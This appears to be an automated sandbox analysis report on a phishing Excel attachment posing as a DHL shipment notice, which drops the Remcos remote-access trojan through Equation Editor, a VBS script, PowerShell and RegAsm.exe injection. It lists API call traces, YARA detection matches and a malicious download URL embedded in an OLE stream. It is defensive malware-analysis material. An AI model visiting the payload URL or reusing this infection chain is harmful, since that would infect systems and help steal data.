            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004132D2 OpenProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,GetFinalPathNameByHandleW,CloseHandle,CreateFileMappingW,MapViewOfFile,GetFileSize,UnmapViewOfFile,CloseHandle,CloseHandle,CloseHandle,12_2_004132D2
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041BB09 OpenProcess,NtSuspendProcess,CloseHandle,12_2_0041BB09
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041BB35 OpenProcess,NtResumeProcess,CloseHandle,12_2_0041BB35
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,13_2_0040DD85
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_00401806 NtdllDefWindowProc_W,13_2_00401806
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_004018C0 NtdllDefWindowProc_W,13_2_004018C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_004016FD NtdllDefWindowProc_A,14_2_004016FD
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_004017B7 NtdllDefWindowProc_A,14_2_004017B7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_00402CAC NtdllDefWindowProc_A,15_2_00402CAC
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_00402D66 NtdllDefWindowProc_A,15_2_00402D66
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004167B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,12_2_004167B4
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_0033F0B28_2_0033F0B2
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_0033EF9A8_2_0033EF9A
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_0033B6E98_2_0033B6E9
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 10_2_002C550810_2_002C5508
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 10_2_002C966910_2_002C9669
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043E0CC12_2_0043E0CC
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041F0FA12_2_0041F0FA
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0045415912_2_00454159
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043816812_2_00438168
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004461F012_2_004461F0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043E2FB12_2_0043E2FB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0045332B12_2_0045332B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0042739D12_2_0042739D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004374E612_2_004374E6
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043E55812_2_0043E558
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043877012_2_00438770
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004378FE12_2_004378FE
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043394612_2_00433946
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0044D9C912_2_0044D9C9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00427A4612_2_00427A46
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041DB6212_2_0041DB62
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00427BAF12_2_00427BAF
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00437D3312_2_00437D33
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00435E5E12_2_00435E5E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00426E0E12_2_00426E0E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043DE9D12_2_0043DE9D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00413FCA12_2_00413FCA
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00436FEA12_2_00436FEA
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_1001719412_2_10017194
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_1000B5C112_2_1000B5C1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0044B04013_2_0044B040
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0043610D13_2_0043610D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0044731013_2_00447310
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0044A49013_2_0044A490
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0040755A13_2_0040755A
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0043C56013_2_0043C560
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0044B61013_2_0044B610
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0044D6C013_2_0044D6C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_004476F013_2_004476F0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0044B87013_2_0044B870
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0044081D13_2_0044081D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0041495713_2_00414957
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_004079EE13_2_004079EE
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_00407AEB13_2_00407AEB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0044AA8013_2_0044AA80
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_00412AA913_2_00412AA9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_00404B7413_2_00404B74
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_00404B0313_2_00404B03
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0044BBD813_2_0044BBD8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_00404BE513_2_00404BE5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_00404C7613_2_00404C76
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_00415CFE13_2_00415CFE
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_00416D7213_2_00416D72
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_00446D3013_2_00446D30
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_00446D8B13_2_00446D8B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_00406E8F13_2_00406E8F
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_0040503814_2_00405038
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_0041208C14_2_0041208C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_004050A914_2_004050A9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_0040511A14_2_0040511A
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_0043C13A14_2_0043C13A
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_004051AB14_2_004051AB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_0044930014_2_00449300
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_0040D32214_2_0040D322
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_0044A4F014_2_0044A4F0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_0043A5AB14_2_0043A5AB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_0041363114_2_00413631
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_0044669014_2_00446690
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_0044A73014_2_0044A730
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_004398D814_2_004398D8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_004498E014_2_004498E0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_0044A88614_2_0044A886
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_0043DA0914_2_0043DA09
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_00438D5E14_2_00438D5E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_00449ED014_2_00449ED0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_0041FE8314_2_0041FE83
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_00430F5414_2_00430F54
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_004050C215_2_004050C2
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_004014AB15_2_004014AB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_0040513315_2_00405133
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_004051A415_2_004051A4
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_0040124615_2_00401246
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_0040CA4615_2_0040CA46
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_0040523515_2_00405235
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_004032C815_2_004032C8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_0040168915_2_00401689
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_00402F6015_2_00402F60
            Source: DHL Shipment Notification 490104998009.xlsOLE indicator, VBA macros: true
            Source: DHL Shipment Notification 490104998009.xlsStream path 'MBD001A0AA1/\x1Ole' : http://tny.wtf/dg4Zx.1b2oC<CyB3Q=~8`d}5lv'UZki1YX8Xp3Nzs1QEa5SVSY5UFnuuVk23xXm1aCBwKjhS1Umpe8eQq8OEuXAHcd6UoRygk1hgYwMK9zSpteFA4lNgBwwlBDBrfoAhROx5mmDcHi8xkfIaubbmx3gCy07u58dukK3HYAakzPbzm6IdoOmqF0WURvRFhp7eQK1EPM6ReMSUsv9osUGJJtfwmTpMPUcPuOmh6MpcDMDcu9BlmdSEPozHepoGAVkuJ5A1fRE&U(*E]UyV=]
            Source: ~DF12C089FB471A9923.TMP.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
            Source: ~WRF{800AC807-D585-4EB1-AF32-0CED6CF689EF}.tmp.3.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00434E10 appears 54 times
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 004169A7 appears 87 times
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 004165FF appears 35 times
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00422297 appears 42 times
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00402093 appears 50 times
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00434770 appears 41 times
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 0044DB70 appears 41 times
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00401E65 appears 35 times
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00444B5A appears 37 times
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00413025 appears 79 times
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00416760 appears 69 times
            Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
            Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
            Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
            Source: 10.2.powershell.exe.44ad080.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
            Source: 10.2.powershell.exe.44ad080.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
            Source: 10.2.powershell.exe.44ad080.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
            Source: 10.2.powershell.exe.44ad080.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
            Source: 10.2.powershell.exe.44ad080.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
            Source: 10.2.powershell.exe.44ad080.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
            Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
            Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
            Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
            Source: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
            Source: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
            Source: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
            Source: 0000000A.00000002.454145693.0000000004188000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
            Source: Process Memory Space: powershell.exe PID: 3520, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
            Source: Process Memory Space: powershell.exe PID: 3520, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
            Source: Process Memory Space: RegAsm.exe PID: 3680, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
            Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\iamtotalnewpersontogetmebackwithentirenewthingstounderstandhowmuchkissineedtodosoican_________sheisbeautifulgirleverthings[1].doc, type: DROPPEDMatched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
            Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B138FD5.doc, type: DROPPEDMatched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
            Source: bhv8C29.tmp.13.drBinary or memory string: org.slneighbors
            Source: classification engineClassification label: mal100.phis.troj.spyw.expl.evad.winXLS@15/33@9/6
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_004182CE GetLastError,FormatMessageW,FormatMessageA,LocalFree,??3@YAXPAX@Z,13_2_004182CE
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00417952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,12_2_00417952
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_00410DE1 GetCurrentProcess,GetLastError,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,15_2_00410DE1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_00418758 GetDiskFreeSpaceW,GetDiskFreeSpaceA,??3@YAXPAX@Z,13_2_00418758
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,12_2_0040F474
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041B4A8 FindResourceA,LoadResource,LockResource,SizeofResource,12_2_0041B4A8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,12_2_0041AA4A
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\Desktop\4B630000Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMutant created: \Sessions\1\BaseNamedObjects\Rmc-F4JFYD
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVR7C02.tmpJump to behavior
            Source: DHL Shipment Notification 490104998009.xlsOLE indicator, Workbook stream: true
            Source: 4B630000.0.drOLE indicator, Workbook stream: true
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeConsole Write: ..-.....................................(.P.....................`........N........................................-.....T..........s............Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................(.P..............................N........................................................-.............Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSystem information queried: HandleInformationJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: RegAsm.exe, RegAsm.exe, 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
            Source: RegAsm.exe, RegAsm.exe, 0000000E.00000002.472982081.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
            Source: RegAsm.exe, 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
            Source: RegAsm.exe, RegAsm.exe, 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
